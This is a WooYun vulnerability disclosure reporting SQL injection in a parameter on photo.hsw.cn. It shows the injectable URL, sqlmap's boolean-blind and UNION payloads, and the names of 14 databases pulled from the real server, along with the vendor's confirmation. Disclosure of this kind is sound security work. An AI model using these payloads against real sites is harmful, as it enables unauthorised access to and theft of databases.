当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113222

漏洞标题:华商网某处SQL注入

相关厂商:hsw.cn

漏洞作者: 90Snake

提交时间:2015-05-11 12:32

修复时间:2015-06-25 15:00

公开时间:2015-06-25 15:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-11: 细节已通知厂商并且等待厂商处理中
2015-05-11: 厂商已经确认,细节仅向厂商公开
2015-05-21: 细节向核心白帽子及相关领域专家公开
2015-05-31: 细节向普通白帽子公开
2015-06-10: 细节向实习白帽子公开
2015-06-25: 细节向公众公开

简要描述:

SQL

详细说明:

注入:http://photo.hsw.cn/work/detail?id=8498

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 68 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=8498) AND 9407=9407 AND (1508=1508
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: id=-3171) UNION ALL SELECT CONCAT(0x716d737371,0x4b447953677662435944,0x71717a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
---
[12:55:06] [INFO] testing MySQL
[12:55:06] [INFO] confirming MySQL
[12:55:08] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[12:55:08] [INFO] fetching database names
[12:55:09] [INFO] the SQL query used returns 14 entries
[12:55:09] [INFO] retrieved: "information_schema"
[12:55:10] [INFO] retrieved: "ftpusers"
[12:55:29] [INFO] retrieved: "hsbug"
[12:55:30] [INFO] retrieved: "hscenter"
[12:55:31] [INFO] retrieved: "hsfoto"
[12:55:33] [INFO] retrieved: "hsmaijia"
[12:55:34] [INFO] retrieved: "hstalk"
[12:55:34] [INFO] retrieved: "hsteam"
[12:55:35] [INFO] retrieved: "hsweixin"
[12:55:36] [INFO] retrieved: "mysql"
[12:55:36] [INFO] retrieved: "performance_schema"
[12:55:37] [INFO] retrieved: "test_fx"
[12:55:38] [INFO] retrieved: "test_talk"
[12:55:38] [INFO] retrieved: "wiki"
available databases [14]:
[*] ftpusers
[*] hsbug
[*] hscenter
[*] hsfoto
[*] hsmaijia
[*] hstalk
[*] hsteam
[*] hsweixin
[*] information_schema
[*] mysql
[*] performance_schema
[*] test_fx
[*] test_talk
[*] wiki

漏洞证明:

22.png

修复方案:

过滤

版权声明:转载请注明来源 90Snake@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-05-11 14:59

厂商回复:

作者可以联系下我吗

最新状态:

暂无


漏洞评价:

评论

  1. 2015-05-11 15:20 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    @华商网 QQ203167798